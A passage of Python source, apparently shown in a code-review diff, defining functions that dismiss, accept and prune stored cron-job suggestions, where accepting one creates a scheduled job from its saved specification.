def dismiss_suggestion(ref: str) -> bool:
|
||||
"""Dismiss a suggestion (latched — never re-offered for its dedup_key)."""
|
||||
s = get_suggestion(ref)
|
||||
if not s:
|
||||
return False
|
||||
return _set_status(s["id"], _STATUS_DISMISSED)
|
||||
|
||||
|
||||
def accept_suggestion(ref: str, *, origin: Optional[Dict[str, Any]] = None) -> Optional[Dict[str, Any]]:
|
||||
"""Accept a suggestion: create the real cron job from its ``job_spec``.
|
||||
|
||||
Returns the created cron job dict, or None if the suggestion isn't found /
|
||||
not pending. The job_spec is passed straight to ``cron.jobs.create_job``;
|
||||
an ``origin`` (platform/chat) is merged so "origin" delivery routes back to
|
||||
the chat where the user accepted.
|
||||
"""
|
||||
s = get_suggestion(ref)
|
||||
if not s or s.get("status") != _STATUS_PENDING:
|
||||
return None
|
||||
|
||||
from cron.jobs import create_job
|
||||
|
||||
spec = dict(s.get("job_spec") or {})
|
||||
if origin is not None and "origin" not in spec:
|
||||
spec["origin"] = origin
|
||||
|
||||
job = create_job(**spec)
|
||||
_set_status(s["id"], _STATUS_ACCEPTED)
|
||||
return job
|
||||
|
||||
|
||||
def clear_resolved() -> int:
|
||||
"""Drop accepted/dismissed records from disk. Returns the count removed.
|
||||
|
||||
Pending suggestions and the dedup memory of dismissed ones are the only
|
||||
things that matter long-term, but dismissed records must be RETAINED for
|
||||
their dedup_key (so they aren't re-offered). This only prunes ACCEPTED
|
||||
records, which have served their purpose once the job exists.
|
||||
"""
|
||||
with _suggestions_lock:
|
||||
suggestions = _load_raw().get("suggestions", [])
|
||||
kept = [s for s in suggestions if s.get("status") != _STATUS_ACCEPTED]
|
||||
removed = len(suggestions) - len(kept)
|
||||
if removed:
|
||||
_save_raw(kept)
|
||||
return removed
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user